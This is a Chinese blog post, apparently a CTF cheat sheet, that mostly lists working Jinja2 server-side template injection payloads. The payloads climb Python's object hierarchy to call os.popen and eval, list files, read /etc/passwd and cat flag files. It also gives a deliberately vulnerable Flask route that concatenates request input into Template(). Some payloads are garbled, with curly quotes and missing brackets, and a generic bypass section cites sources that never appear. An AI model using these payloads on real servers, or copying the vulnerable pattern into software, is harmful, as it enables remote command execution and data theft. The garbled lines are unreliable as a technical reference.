ssti模板写法(续更)

首先进行一个简单判断,确实存在 SSTI 例如:${{44}}、{4*4}、{{44}}

参数可以通过字典爆破获得

读取当前的类别 ''.__class__

读取父类 ''.__class__.__base__

读取 object 下子类 ''.__class__.__base__.__subclasses__()

选择其中的一个子类 ''.__class__.__base__.__subclasses__()[数字]

初始化并且加载该类下可用的函数 ''.__class__.__base__.__subclasses__()[数字].__init__.__globals__

<class '_frozen_importlib_external.FileLoader'>79
''.__class__.__base__.__subclasses__()[117].__init__.__globals__‘popen’('ls').read()
//不加read()返回的是地址
117
先使用__builtins__加载内嵌函数,再调用内嵌函数
''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']
("__import__('os').popen('ls').read()")
//eval()里面就可以写python代码
64

比如文件读取 <class '_frozen_importlib_external.FileLoader'> 类下的 get_data 函数

''.__class__.__base__.__subclasses__()[79]["get_data"](0,'/etc/passwd')

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__'popen'('cat flag').read()}}

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}

其中蓝色字体为执行命令,黄色字体为类下的函数,其中的数字根据题目而变化

实际用法

{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}

{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('find / -name fl**').read()}}

{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat /app/flag').read()}}

### SSTI漏洞绕过方法 服务器端模板注入(SSTI)是一种严重的Web应用程序安全漏洞,允许攻击者通过操纵输入来执行任意代码。为了有效防御SSTI攻击,开发人员通常会采用多种防护机制,如转义特殊字符、限制表达式语法等。 然而,在某些情况下,如果实现不当或者存在逻辑缺陷,仍然可能存在绕过的可能性[^1]: #### 1. 利用未被过滤的关键字 一些框架可能只简单地替换了常见的危险函数名称(例如`exec()`),而忽略了其他具有相似功能但不同命名方式的方法。因此可以尝试寻找这些替代方案并加以利用。 #### 2. 绕过字符串编码检测 当应用层面对用户提交的数据进行了HTML实体化处理时,可以通过双写法(`{{'a'*0}}`)或者其他变种形式规避此类检查规则[^2]。 #### 3. 使用环境变量或内置对象 许多现代编程语言提供了丰富的标准库支持以及预定义好的全局变量/常量表;了解目标平台特性有助于发现潜在可利用之处。 ```python # Python Jinja2案例演示 class Config(object): DEBUG = True app.config.from_object(Config) @app.route('/ssti') def ssti(): name = request.args.get('name', '') template = Template("Hello " + name) return template.render() ``` 上述Python Flask程序片段展示了如何配置Jinja2模版引擎,并接收来自HTTP请求参数中的数据作为渲染上下文的一部分。假设该服务开启了调试模式,则可通过精心构造payload触发远程命令执行风险[^3]。 请注意,研究和测试任何类型的软件弱点都应在合法授权范围内进行,未经授权访问他人计算机信息系统属于违法行为!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值